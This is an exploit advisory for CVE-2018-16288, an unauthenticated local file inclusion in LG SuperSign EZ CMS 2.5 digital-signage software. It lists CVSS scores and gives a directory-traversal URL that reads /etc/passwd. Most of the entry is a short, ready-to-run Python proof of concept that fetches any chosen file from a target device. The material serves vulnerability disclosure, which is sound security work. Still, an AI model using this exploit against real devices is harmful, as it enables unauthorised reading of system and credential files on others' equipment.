LG SuperSign EZ CMS 2.5 Local File Inclusion

2018.09.19
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-98


CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: None
Availability impact: None

# Exploit Title: LG SuperSign EZ CMS 2.5 - Local File Inclusion # Date: 2018-09-13 # Exploit Author: Alejandro Fanjul # Vendor Homepage: https://www.lg.com/ar/software-lg-supersign # Version: SuperSign EZ (CMS) # Tested on: Web OS 4.0 # CVE : CVE-2018-16288 # More info: http://mamaquieroserpentester.blogspot.com/2018/09/multiple-vulnerabilities-in-lg.html # Any user can read files from the TV, without authentication due to an existing LFI in the following path: # http://SuperSign_IP:9080/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd # PoC import requests import re from argparse import ArgumentParser parser = ArgumentParser(description="SuperSign Reboot") parser.add_argument("-t", "--target", dest="target", help="Target") parser.add_argument("-p", "--path", dest="filepath", help="path to the file you want to read") args = parser.parse_args() path = args.filepath s = requests.get('http://'+ str(args.target).replace('\n', '') +'/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'+str(path)) print s.text


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